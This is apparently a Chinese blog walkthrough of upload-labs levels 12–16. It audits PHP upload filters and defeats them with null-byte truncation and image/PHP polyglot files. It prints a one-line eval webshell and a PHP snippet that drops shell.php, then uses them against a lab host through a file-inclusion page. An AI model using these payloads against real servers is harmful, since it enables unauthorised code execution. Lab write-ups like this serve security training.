文件上传 upload-labs Pass 12-16
Pass12 GET00%截断
审计源码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
// 定义一个允许上传文件的数组
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
// 获取上传文件后缀名
if(in_array($file_ext,$ext_arr)){
// in_array会判断上传文件后缀名是否在ext_arr数组中,如果存在,则继续执行
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
// 通过GET请求方法获取 save_path 保存的目录,这里可以使用 php00阶段
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
这次的代码升级了,和之前的不一样,这次是白名单,只允许jpg|png|gif后缀文件
这里可以通过 $_GET['save_path'] 进行 00截断 文件上传
php00阶段
存在于php低于
5.3.4的版本中
攻击者可以构造类似这样的语句
$_GET["filename"] ,通过抓包修改 filename=test.php%00.txt
php读取后缀名会重右往左读取,读取到我们的文件,首先读取到.txt文件,遇到了%00认为就结束了,不在往前读取代码就会认为我们上传的文件为.txt文件,导致可绕过文件上传的上传、包含等检测
使用burpsuite抓包进行文件上传,这里我们上传一个a.jpg,内容为<?php phpinfo();?>

文件上传成功

Pass-13 POST00%截断
审计源码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
和上Pass-11是一样的,不过是将$_GET['save_path']改为了$_POST['save_path'],将GET传参改为了POST
需要注意的是,POST传参会进行转义,所以我们的%00需要在burpsuite Hex十六进制模式添加00进行修改
首先上传a.jpg,文件内容为<?php phpinfo();?>

进入Hex模式后,找到输入的love.php内容

这在我们07后方加入一个字节为00


上传成功,访问测试

Pass-14 图片木马
在Pass13里变为了上传图片码的任务,需要我们上传图片木马,然后进行文件包含php文件

那么这里就好玩了,我们可以上传一个一句话木马,或者上传一个需要我们访问生成木马的php文件,当然也可以后续上传大马
审计源码
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
使用javascript获取了我们文件的前两个字节来验证是否为图片,这里我首先想到的是禁用javascript,是不行的,因为php会检查file_type函数是否为noknown
这里我们还是老老实实的合成一个图片mua,首先准备一张图片和php文件放在同一目录,这里我的图片名为image.jpg,木马为muma.php,内容为<?php phpinfo();?>

在url输入cmd在当前目录进入命令行,执行命令copy image.jpg /b + muma.php /a target.jpg
会在当前目录生成一个target.jpg

使用记事本打开target.jpg,Ctrl + F搜索php找到我们合成图片木马的php代码位置


这里我们的图片木马生成成功,进行图片木马上传测试

可以看到上传成功,使用文件包含测试,在upload-labs靶机中自带文件包含页面,在主目录的文件名为include.php

观察只需要通过GET方法传参file变量图片木马的目录就可以进行文件包含
进行文件包含http://靶机地址/include.php?file=./upload/上传文件名
由于对图片马进行的文件名进行了一个名称的加固所以我需要获取上传到服务器的文件名,可以通过右键查看源代码看到

这里为8120220408164903.jpg
进行文件包含http://172.16.1.102/include.php?file=./upload/8120220408164903.jpg

这里我并没有包含成功,可能是图片的问题,后来换了一张图片测试成功

包含生成木马文件
我们也可以上传一个一句话木马<?php @eval($_POST[cmd]);?>直接包含进行连接,也可以上传一个生成一句话木马的图片马,当然也有各种姿势进入,可玩性很高
这里我们上传一个生成一句话木马的图片马
php代码内容为,
<?php fwrite(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>');?>
然后使用copy image.jpg /b + aaa.php /a create.jpg进行图片马合成,生成create.jpg

将图片木马上传

进行文件包含http://172.16.1.101/upload-labs/include.php?file=upload/4920220409090629.jpg

这是会在靶机包含当前目录生成一个shell.php文件,是我们的一句话木马,使用蚁剑进行连接测试
右键空白区域 -> 添加输入

输入木马的地址和密码cmd,点击测试连接 -> 连接成功

点击保存双击可以进入靶机shell.php所在目录的文件结构,也可以对文件进行一些操作

右键 -> 虚拟终端进入靶机命令行 执行系统命令

这样就完成了
任务是jpg png gif文件都要上传才算通过,jpg已经测试过了
png
png图片这里我遇到一个坑,合成木马和jpg一样copy 图片.png/b+木马.php/a 生成图片木马.png
这里建议使用 画图工具 进行生成图片,然后再进行合成、上传、包含
gif
gif只需要在文件的头部添加GIF89即可,然后将文件后缀名后缀名改为gif

Pass-15 getimagesize图片检查
审计源码
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
和Pass-14类似,也会检查图片的内容是否为图片,使用getimagesize()函数获取
可以模拟看一下getimagesize()函数检查的内容,模拟file.html上传文件提交给file.php
file.html内容
<html>
<head></head>
<body></body>
<form enctype="multipart/form-data" action="file.php" method="POST">
Send this file: <input name="userfile" type="file" />
<input type="submit" value="Send File" />
</form>
</html>
file.php内容
<?php
$tmp_file = $_FILES['userfile']['tmp_name'];
$info = getimagesize($tmp_file);
print_r($info);
?>
模拟一个文件上传进行提交,会打印出getimagesize获取到的信息

提交后查看file.php打印内容

分别获取了
Array (
[0] => 1152 // 文件宽像素
[1] => 648 // 文件高像素
[2] => 3 // 文件类型,常见的 1 = GIF,2 = JPG,3 = PNG
[3] => width="1152" height="648"
[bits] => 8 // 图像每种颜色二进制的位数
[mime] => image/png ) // 文件 mime 类型
所以,我们还算是可以通过合成图片木马进行绕过,和Pass-14完全一样的步骤,这里不在演示
Pass-16 exif_imagetype图片检查
审计源码
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
通过观察源代码需要开启php_exifphp模块,使用的是exif_imagetype检查文件类型,与Pass14、15类似
只需要合成图片木马即可绕过
文件上传 upload-labs Pass 12-16的更多相关文章
- vue ----element-ui 文件上传upload 组件 实现 及其后台
1.前台 action 不用改 :https://jsonplaceholder.typicode.com/posts/ getFile: 获取文件 data(){ return { file: {} ...
- 文件上传Upload 漏洞挖掘思路
1:尽可能多的找出网站存在的上传点2:尝试使用如上各种绕过方法3:尝试 geshell4:无法上传webshel的情况下: 尝试上传html等,或可造成存储XSS漏洞 上传点构造XSS等,结合上传后的 ...
- 文件上传Upload 学习笔记
整理完自己还有点晕,看来还是得找点靶场自己练习练习Orz 1:客户端JavaScript校验 Burp改包即可 2:服务端对Content-Type进行校验 猜测后,修改对应Content-Type字 ...
- Openresty + nginx-upload-module支持文件上传
0. 说明 这种方式其实复杂,麻烦!建议通过这个方式搭建Openresty文件上传和下载服务器:http://www.cnblogs.com/lujiango/p/9056680.html 1. 包下 ...
- restapi(1)- 文件上传下载服务
上次对restapi开了个头,设计了一个包括了身份验证和使用权限的restful服务开发框架.这是一个通用框架,开发人员只要直接往里面加新功能就行了.虽然这次的restapi是围绕着数据库表的CRUD ...
- Struts2 单个文件上传/多文件上传
1导入struts2-blank.war所有jar包:\struts-2.3.4\apps\struts2-blank.war 单个文件上传 upload.jsp <s:form action= ...
- Javascript Fromdata 与jQuery 实现Ajax文件上传以及文件的删除
前端HTML代码: <!DOCTYPE html> <html> <head> <title>ajax</title> <script ...
- Django之Ajax文件上传
请求头ContentType ContentType指的是请求体的编码类型,常见的类型共有3种: 1 application/x-www-form-urlencoded(看下图) 这应该是最常见的 P ...
- SpringBoot2 上传文件 上传多文件
项目结构: 1.单文件上传 upload.html <!DOCTYPE html> <html lang="en"> <head> <me ...
- 功能强大的文件上传插件带上传进度-WebUploader
WebUploader是由Baidu WebFE(FEX)团队开发的一个以HTML5/FLASH构建的现代文件上传组件.在现代的浏览器里面能充分发挥HTML5的优势,同时又不摒弃主流IE浏览器,沿用老 ...
随机推荐
- Docker emqx实践
把emqx服务迁移到另一台服务器上 1.新服务器安装docker apt install docker.io 1.从服务器上导出镜像 导出镜像文件: docker export 55d48d3a13 ...
- react 学习笔记更新2.0
1.性能优化 1.shouldComponentUpdate 在render调用之前会调用shouldComponentUpdate,不建议在 shouldComponentUpdate() 中进行深 ...
- 循环4-for循环
一.语法 for循环和while类似,常用于执行有限次数的循环,有两种语法结构, 1.变量列表循环 语法: for 变量名 in 变量取值列表 do 指令...... done 变量取值列表中的值,要 ...
- Linux服务器中了挖矿木马怎么办?-挖矿木马自助清理手册
什么是挖矿木马 挖矿木马会占用CPU进行超频运算,从而占用主机大量的CPU资源,严重影响服务器上的其他应用的正常运行.黑客为了得到更多的算力资源,一般都会对全网进行无差别扫描,同时利用SSH爆破和漏洞 ...
- HCIA-ICT实战基础08-访问控制列表ACL原理与配置
HCIA-ICT实战基础-访问控制列表ACL原理与配置 目录 ACL技术概述 ACL的基本概念及其工作原理 ACL的基础配置及应用 ACL技术概述 技术背景: 需要一个工具实现流量过滤 ACL是由一系 ...
- linux配置定时备份mysql数据库
1.创建备份目录 # mkdir /mydata/bak2.创建备份脚本 # vi /usr/sbin/bakmysql.sh #!/bin/bash #Name:bakmysql.sh #This ...
- 前端常用函数(find、includes、filter、Set、forEach、map、some、every、findIndex、splice、reduce)
https://blog.csdn.net/qq_24280125/article/details/119275109 array.join(separator) .拼接返回字符串 参数 separa ...
- Debug --> 攻击方式
1.CSRF攻击概述: CSRF(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一. CSRF攻击原 ...
- function | ECOS
用于优化线性或二阶锥的自对偶齐次嵌入内点方法. 不支持 SDP 锥体! [x,y,info,s,z] = ecos(c,G,h,dims,A,b) 求解一对原始和双锥程序 最小化 c'x 服从 Gx ...
- 记一次线上DB被打挂
这周刚新上了需求,在慢慢写代码的时候,突然报警群的消息多了,组长让我看看咋回事. 一开始没当回事,因为faas任务的错误日志一直很多,但是发现新的日志和以前大不相同,显示的是上游faas实例的连接被m ...